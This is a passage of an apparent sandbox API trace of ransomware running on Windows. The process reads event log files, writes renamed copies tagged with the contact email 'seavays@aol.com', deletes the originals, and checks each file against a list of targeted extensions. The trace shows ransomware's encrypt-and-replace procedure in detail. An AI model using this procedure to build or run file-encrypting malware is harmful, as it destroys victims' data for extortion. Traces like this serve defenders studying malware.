(lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0062.891] GetLastError () returned 0x0 [0062.891] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0062.893] WriteFile (in: hFile=0x36c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0062.901] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.901] WriteFile (in: hFile=0x36c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0062.901] SetEndOfFile (hFile=0x36c) returned 1 [0062.902] CloseHandle (hObject=0x36c) returned 1 [0062.904] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.904] SetEndOfFile (hFile=0x34c) returned 1 [0062.905] CloseHandle (hObject=0x34c) returned 1 [0062.905] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0063.287] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1 [0063.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0063.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0063.288] lstrlenW (lpString=".doc") returned 4 [0063.288] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0063.288] lstrlenW (lpString=".docx") returned 5 [0063.288] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0063.288] lstrlenW (lpString=".pdf") returned 4 [0063.288] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0063.288] lstrlenW (lpString=".xls") returned 4 [0063.288] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0063.288] lstrlenW (lpString=".xlsx") returned 5 [0063.288] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0063.288] lstrlenW (lpString=".ppt") returned 4 [0063.288] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0063.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0063.288] lstrlenW (lpString=".zip") returned 4 [0063.288] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0063.288] lstrlenW (lpString=".rar") returned 4 [0063.288] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0063.288] lstrlenW (lpString=".bz2") returned 4 [0063.288] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0063.288] lstrlenW (lpString=".7z") returned 3 [0063.288] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0063.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0063.288] lstrlenW (lpString=".dbf") returned 4 [0063.288] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0063.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0063.288] lstrlenW (lpString=".1cd") returned 4 [0063.288] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0063.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0063.288] lstrlenW (lpString=".jpg") returned 4 [0063.288] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0063.289] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0063.289] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0063.289] lstrlenW (lpString=".doc") returned 4 [0063.289] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0063.289] lstrlenW (lpString=".docx") returned 5 [0063.289] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0063.289] lstrlenW (lpString=".pdf") returned 4 [0063.289] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0063.289] lstrlenW (lpString=".xls") returned 4 [0063.289] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0063.289] lstrlenW (lpString=".xlsx") returned 5 [0063.289] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0063.289] lstrlenW (lpString=".ppt") returned 4 [0063.289] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0063.289] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0063.289] lstrlenW (lpString=".zip") returned 4 [0063.289] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0063.289] lstrlenW (lpString=".rar") returned 4 [0063.289] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0063.289] lstrlenW (lpString=".bz2") returned 4 [0063.289] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0063.289] lstrlenW (lpString=".7z") returned 3 [0063.289] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0063.289] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0063.289] lstrlenW (lpString=".dbf") returned 4 [0063.289] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0063.289] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0063.289] lstrlenW (lpString=".1cd") returned 4 [0063.289] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0063.290] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0063.290] lstrlenW (lpString=".jpg") returned 4 [0063.290] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0063.290] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0063.290] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 42 [0063.290] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0063.291] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0063.291] CloseHandle (hObject=0x34c) returned 1 [0063.291] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20 [0063.291] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.291] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0063.291] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.291] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.291] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0063.292] GetLastError () returned 0x0 [0063.292] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0063.294] WriteFile (in: hFile=0x368, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0063.296] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.296] WriteFile (in: hFile=0x368, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x128, lpOverlapped=0x0) returned 1 [0063.296] SetEndOfFile (hFile=0x368) returned 1 [0063.297] CloseHandle (hObject=0x368) returned 1 [0063.298] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.299] SetEndOfFile (hFile=0x34c) returned 1 [0063.300] CloseHandle (hObject=0x34c) returned 1 [0063.300] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0063.300] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1 [0063.301] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0063.301] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0063.301] lstrlenW (lpString=".doc") returned 4 [0063.301] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0063.301] lstrlenW (lpString=".docx") returned 5 [0063.301] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0063.301] lstrlenW (lpString=".pdf") returned 4 [0063.301] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0063.301] lstrlenW (lpString=".xls") returned 4 [0063.301] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0063.301] lstrlenW (lpString=".xlsx") returned 5 [0063.301] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0063.301] lstrlenW (lpString=".ppt") returned 4 [0063.301] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0063.301] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0063.301] lstrlenW (lpString=".zip") returned 4 [0063.301] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0063.301] lstrlenW (lpString=".rar") returned 4 [0063.301] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0063.301] lstrlenW (lpString=".bz2") returned 4 [0063.301] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0063.301] lstrlenW (lpString=".7z") returned 3 [0063.302] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0063.302] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0063.302] lstrlenW (lpString=".dbf") returned 4 [0063.302] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0063.302] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0063.302] lstrlenW (lpString=".1cd") returned 4 [0063.302] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0063.302] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0063.302] lstrlenW (lpString=".jpg") returned 4 [0063.302] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0063.302] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0063.302] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0063.302] lstrlenW (lpString=".doc") returned 4 [0063.302] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0063.302] lstrlenW (lpString=".docx") returned 5 [0063.302] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0063.302] lstrlenW (lpString=".pdf") returned 4 [0063.302] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0063.302] lstrlenW (lpString=".xls") returned 4 [0063.302] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0063.302] lstrlenW (lpString=".xlsx") returned 5 [0063.302] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0063.302] lstrlenW (lpString=".ppt") returned 4 [0063.302] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0063.302] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0063.302] lstrlenW (lpString=".zip") returned 4 [0063.302] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0063.302] lstrlenW (lpString=".rar") returned 4 [0063.302] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0063.302] lstrlenW (lpString=".bz2") returned 4 [0063.303] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0063.303] lstrlenW (lpString=".7z") returned 3 [0063.303] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0063.303] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0063.303] lstrlenW (lpString=".dbf") returned 4 [0063.303] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0063.303] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0063.303] lstrlenW (lpString=".1cd") returned 4 [0063.303] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0063.303] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0063.303] lstrlenW (lpString=".jpg") returned 4 [0063.303] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0063.303] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0063.303] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 47 [0063.303] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0063.305] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0063.305] CloseHandle (hObject=0x34c) returned 1 [0063.305] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20 [0063.305] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.305] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0063.305] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.305] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.305] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0063.306] GetLastError () returned 0x0 [0063.306] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0063.308] WriteFile (in: hFile=0x368, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0063.310] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.310] WriteFile (in: hFile=0x368, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x132, lpOverlapped=0x0) returned 1 [0063.310] SetEndOfFile (hFile=0x368) returned 1 [0063.310] CloseHandle (hObject=0x368) returned 1 [0063.312] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.312] SetEndOfFile (hFile=0x34c) returned 1 [0063.314] CloseHandle (hObject=0x34c) returned 1 [0063.314] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0063.314] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1 [0063.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0063.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0063.314] lstrlenW (lpString=".doc") returned 4 [0063.314] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0063.314] lstrlenW (lpString=".docx") returned 5 [0063.314] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0063.314] lstrlenW (lpString=".pdf") returned 4 [0063.314] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0063.314] lstrlenW (lpString=".xls") returned 4 [0063.314] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0063.314] lstrlenW (lpString=".xlsx") returned 5 [0063.314] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0063.314] lstrlenW (lpString=".ppt") returned 4 [0063.315] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0063.315] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0063.315] lstrlenW (lpString=".zip") returned 4 [0063.315] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0063.315] lstrlenW (lpString=".rar") returned 4 [0063.315] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0063.315] lstrlenW (lpString=".bz2") returned 4 [0063.315] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0063.315] lstrlenW (lpString=".7z") returned 3 [0063.315] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0063.315] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0063.315] lstrlenW (lpString=".dbf") returned 4 [0063.315] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0063.315] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0063.315] lstrlenW (lpString=".1cd") returned 4 [0063.315] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0063.315] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0063.315] lstrlenW (lpString=".jpg") returned 4 [0063.315] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0063.315] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0063.315] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0063.315] lstrlenW (lpString=".doc") returned 4 [0063.315] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0063.315] lstrlenW (lpString=".docx") returned 5 [0063.315] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0063.315] lstrlenW (lpString=".pdf") returned 4 [0063.315] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0063.315] lstrlenW (lpString=".xls") returned 4 [0063.315] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0063.315] lstrlenW (lpString=".xlsx") returned 5 [0063.315] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0063.315] lstrlenW (lpString=".ppt") returned 4 [0063.315] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0063.316] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0063.316] lstrlenW (lpString=".zip") returned 4 [0063.316] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0063.316] lstrlenW (lpString=".rar") returned 4 [0063.316] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0063.316] lstrlenW (lpString=".bz2") returned 4 [0063.316] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0063.316] lstrlenW (lpString=".7z") returned 3 [0063.316] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0063.316] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0063.316] lstrlenW (lpString=".dbf") returned 4 [0063.316] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0063.316] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0063.316] lstrlenW (lpString=".1cd") returned 4 [0063.316] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0063.316] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0063.316] lstrlenW (lpString=".jpg") returned 4 [0063.316] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0063.316] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0063.316] lstrlenW (lpString="Microsoft-Windows-Known Folders API Service.evtx") returned 48 [0063.316] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0063.316] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0063.317] CloseHandle (hObject=0x34c) returned 1 [0063.317] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20 [0063.317] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.317] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0063.317] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.317] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.317] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0063.318] GetLastError () returned 0x0 [0063.318] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0063.320] WriteFile (in: hFile=0x368, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0063.322] ReadFile (in: hFile=0x34c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.322] WriteFile (in: hFile=0x368, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x134, lpOverlapped=0x0) returned 1 [0063.323] SetEndOfFile (hFile=0x368) returned 1 [0063.323] CloseHandle (hObject=0x368) returned 1 [0063.325] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.325] SetEndOfFile (hFile=0x34c) returned 1 [0063.326] CloseHandle 